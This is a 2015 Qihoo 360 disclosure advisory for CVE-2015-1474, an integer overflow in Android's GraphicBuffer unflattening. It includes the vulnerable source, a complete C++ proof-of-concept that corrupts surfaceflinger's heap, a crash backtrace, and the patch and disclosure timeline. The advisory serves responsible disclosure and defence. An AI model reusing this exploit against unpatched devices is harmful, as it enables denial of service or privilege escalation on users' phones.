############################################################################# # # QIHU 360 SOFTWARE CO. LIMITED http://www.360safe.com/ # ############################################################################# # # CVE ID: CVE-2015-1474 # Product: Android # Vendor: Google # Subject: Integer overflow leading to heap corruption while unflattening GraphicBuffer # Effect: Gain privileges or cause a denial of service # Author: Guang Gong # Date: March 11th 2015 # ############################################################################# Introduction ------------ Multiple integer overflows in the GraphicBuffer::unflatten function in platform/frameworks/native/libs/ui/GraphicBuffer.cpp in Android through 5.0 allow attackers to gain privileges or cause a denial of service (memory corruption) via vectors that trigger a large number of (1) file descriptors or (2) integer values. Affected Android version ---------- all versions below Lollipop 5.1 Patches ------- Android Bug id 18076253 There are two patches for this vulnerabilities, the first patch for this issue is uncomplete. [1] https://android.googlesource.com/platform/frameworks/native/+/e6f7a44e835d320593fa33052f35ea52948ff0b2 [2] https://android.googlesource.com/platform/frameworks/native/+/796aaf7fb160fea12bddc8406d7f006ce811eb43 Description ----------- The vulnerable code is as follows. 28 <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#28> native_handle_t <http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>* native_handle_create <http://androidxref.com/4.4.4_r1/s?refs=native_handle_create&project=system> (int numFds <http://androidxref.com/4.4.4_r1/s?refs=numFds&project=system>, int numInts <http://androidxref.com/4.4.4_r1/s?refs=numInts&project=system>) 29 <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#29> { 30 <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#30> native_handle_t <http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>* h = malloc <http://androidxref.com/4.4.4_r1/s?defs=malloc&project=system>( 31 <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#31> sizeof(native_handle_t <http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>) + sizeof(int)*(numFds <http://androidxref.com/4.4.4_r1/s?defs=numFds&project=system>+numInts <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#numInts> ));---------------> integer overflow here, numFds and numInts can be controlled by normal Apps. 32 <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#32> 33 <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#33> h->version <http://androidxref.com/4.4.4_r1/s?defs=version&project=system> = sizeof( native_handle_t <http://androidxref.com/4.4.4_r1/s?defs=native_handle_t&project=system>); 34 <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#34> h->numFds <http://androidxref.com/4.4.4_r1/s?defs=numFds&project=system> = numFds <http://androidxref.com/4.4.4_r1/s?defs=numFds&project=system>; 35 <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#35> h->numInts <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#numInts> = numInts <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#numInts> ; 36 <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#36> return h; 37 <http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#37> } 244 <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#244> status_t <http://androidxref.com/4.4.4_r1/s?defs=status_t&project=frameworks> GraphicBuffer <http://androidxref.com/4.4.4_r1/s?defs=GraphicBuffer&project=frameworks>:: unflatten <http://androidxref.com/4.4.4_r1/s?refs=unflatten&project=frameworks>( 245 <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#245> void const*& buffer <http://androidxref.com/4.4.4_r1/s?defs=buffer&project=frameworks>, size_t <http://androidxref.com/4.4.4_r1/s?defs=size_t&project=frameworks>& size <http://androidxref.com/4.4.4_r1/s?defs=size&project=frameworks>, int const *& fds <http://androidxref.com/4.4.4_r1/s?defs=fds&project=frameworks>, size_t <http://androidxref.com/4.4.4_r1/s?defs=size_t&project=frameworks>& count <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#count>) { ? 271 <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#271> native_handle <http://androidxref.com/4.4.4_r1/s?defs=native_handle&project=frameworks>* h = native_handle_create <http://androidxref.com/4.4.4_r1/s?defs=native_handle_create&project=frameworks> (numFds <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numFds> , numInts <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numInts> ); 272 <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#272> memcpy <http://androidxref.com/4.4.4_r1/s?defs=memcpy&project=frameworks>(h->data <http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks>, fds <http://androidxref.com/4.4.4_r1/s?defs=fds&project=frameworks>, numFds <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numFds> *sizeof(int)); ---------------->heap corruption hear. 273 <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#273> memcpy <http://androidxref.com/4.4.4_r1/s?defs=memcpy&project=frameworks>(h->data <http://androidxref.com/4.4.4_r1/s?defs=data&project=frameworks> + numFds <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numFds>, &buf <http://androidxref.com/4.4.4_r1/s?defs=buf&project=frameworks>[8], numInts <http://androidxref.com/4.4.4_r1/xref/frameworks/native/libs/ui/GraphicBuffer.cpp#numInts> *sizeof(int)); ?. Attack vector ------------- A normal Apps can corrupt the heap in surfaceflinger and system_server by this vulnerabilities. the PoC of corrupting the heap of surfaceflinger is as follows #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <utils/Log.h> #include <binder/IPCThreadState.h> #include <binder/ProcessState.h> #include <binder/IServiceManager.h> #include <gui/ISurfaceComposer.h> #include <gui/BufferQueue.h> #include <gui/CpuConsumer.h> #include <unistd.h> using namespace android; class MyBufferQueue:public BufferQueue{ public: status_t onTransact(uint32_t code, const Parcel& data, Parcel* reply, uint32_t flags){ status_t ret = BnGraphicBufferProducer::onTransact(code,data,reply,flags); if(code==1){ int *data = (int *)reply->data(); int *numFDs = data+9; *numFDs=0xfffffffd; } return ret; } }; int main() { sp<ProcessState> proc(ProcessState::self()); proc->startThreadPool(); const String16 name("SurfaceFlinger"); sp<ISurfaceComposer> composer; getService(name, &composer); uint32_t w, h; PixelFormat f; sp<IBinder> display(composer->getBuiltInDisplay(ISurfaceComposer::eDisplayIdMain)); sp<MyBufferQueue> bufferQueue = new MyBufferQueue(); sp<CpuConsumer> cpuConsumer = new CpuConsumer(bufferQueue, 1); status_t err = composer->captureScreen(display, bufferQueue, 0,0,0,-1UL); if (err != NO_ERROR) { fprintf(stderr, "screen capture failed: %s\n", strerror(-err)); exit(0); } printf("screen capture success\n"); IPCThreadState::self()->joinThreadPool(); return 0; } How to corrupt the heap of system_server put a malformated GraphicBuffer in a Bundle, and then send it to system_server via setApplicationRestrictions. it?s the same way as CVE-2014-7911. The backtrace of crash surfaceflinger 55 --------- beginning of crash 56 F/libc (15504): Fatal signal 11 (SIGSEGV), code 1, fault addr 0xb1000000 in tid 15504 (surfaceflinger) 57 I/DEBUG ( 180): *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** 58 I/DEBUG ( 180): Build fingerprint: 'Android/aosp_hammerhead/hammerhead:4.4.3.43.43.43/AOSP/ggong10171501:userdebug/test-keys' 59 I/DEBUG ( 180): Revision: '11' 60 I/DEBUG ( 180): ABI: 'arm' 61 I/DEBUG ( 180): pid: 15504, tid: 15504, name: surfaceflinger >>> /system/bin/surfaceflinger <<< 62 I/DEBUG ( 180): signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0xb1000000 63 W/NativeCrashListener(15836): Couldn't find ProcessRecord for pid 15504 64 I/DEBUG ( 180): r0 b1000000 r1 b6be41ec r2 ff81eff0 r3 00000004 65 E/DEBUG ( 180): AM write failure (32 / Broken pipe) 66 I/DEBUG ( 180): r4 b647ac00 r5 fffffffd r6 b6302150 r7 00000050 67 I/DEBUG ( 180): r8 bef65734 r9 bef65738 sl bef6573c fp b081f070 68 I/DEBUG ( 180): ip 80000000 sp bef656f0 lr b6c6cfb7 pc b6eb2e30 cpsr a00f0030 69 I/DEBUG ( 180): 70 I/DEBUG ( 180): backtrace: 71 I/DEBUG ( 180): #00 pc 0000fe30 /system/lib/libc.so (__memcpy_base+91) ------------------------->memcpy cause heap corruption 72 I/DEBUG ( 180): #01 pc 00005fb3 /system/lib/libui.so (android::GraphicBuffer::unflatten(void const*&, unsigned int&, int const*&, unsigned int&)+98) 73 I/DEBUG ( 180): #02 pc 00025e09 /system/lib/libgui.so 74 I/DEBUG ( 180): #03 pc 0001e985 /system/lib/libbinder.so (android::Parcel::read(android::Parcel::FlattenableHelperInterface&) const+176) 75 I/DEBUG ( 180): #04 pc 0002638d /system/lib/libgui.so 76 I/DEBUG ( 180): #05 pc 0002adc3 /system/lib/libgui.so (android::Surface::dequeueBuffer(ANativeWindowBuffer**, int*)+226) 77 I/DEBUG ( 180): #06 pc 0002aa81 /system/lib/libgui.so (android::Surface::hook_dequeueBuffer_DEPRECATED(ANativeWindow*, ANativeWindowBuffer**)+32) 78 I/DEBUG ( 180): #07 pc 000175cf /system/lib/libsurfaceflinger.so 79 I/DEBUG ( 180): #08 pc 0001b80f /system/lib/libsurfaceflinger.so 80 I/DEBUG ( 180): #09 pc 000158f5 /system/lib/libsurfaceflinger.so 81 I/DEBUG ( 180): #10 pc 00010907 /system/lib/libutils.so (android::Looper::pollInner(int)+410) 82 I/DEBUG ( 180): #11 pc 000109f9 /system/lib/libutils.so (android::Looper::pollOnce(int, int*, int*, void**)+92) 83 I/DEBUG ( 180): #12 pc 00015ad1 /system/lib/libsurfaceflinger.so 84 I/DEBUG ( 180): #13 pc 0001675d /system/lib/libsurfaceflinger.so (android::SurfaceFlinger::run()+8) 85 I/DEBUG ( 180): #14 pc 0000083d /system/bin/surfaceflinger 86 I/DEBUG ( 180): #15 pc 0000f811 /system/lib/libc.so (__libc_init+44) 87 I/DEBUG ( 180): #16 pc 000008d8 /system/bin/surfaceflinger 88 I/DEBUG ( 180): 89 I/DEBUG ( 180): Tombstone written to: /data/tombstones/tombstone_01 90 I/BootReceiver(15836): Copying /data/tombstones/tombstone_01 to DropBox (SYSTEM_TOMBSTONE) 91 I/ServiceManager( 176): service 'SurfaceFlinger' died 92 I/ServiceManager( 176): service 'display.qservice' died Milestones ---------- Date Comment Sender 20/10/2014 Initial Report of CVE-2015-1474 Qihoo 360 22/10/2014 Forwarded to the dedicated Team by Google Google 04/11/2014 Classified it as a high severity vulnerability Google 06/11/2014 Get the Android Bug ID 18076253 Google 10/2/2015 Notify it?s fixed and send the CVE-ID Google 16/2/2015 Tell Google the first patch was uncomplete Qihoo 360 18/2/2015 Submitted the second patch Google 11/3/2015 Lollipop 5.1 was released, disclose it Qihoo 360 References ---------- [1] https://android.googlesource.com/platform/frameworks/native/+/e6f7a44e835d320593fa33052f35ea52948ff0b2 [2] https://android.googlesource.com/platform/frameworks/native/+/796aaf7fb160fea12bddc8406d7f006ce811eb43 [3]https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2015-1474 [4] http://androidxref.com/4.4.4_r1/xref/system/core/libcutils/native_handle.c#28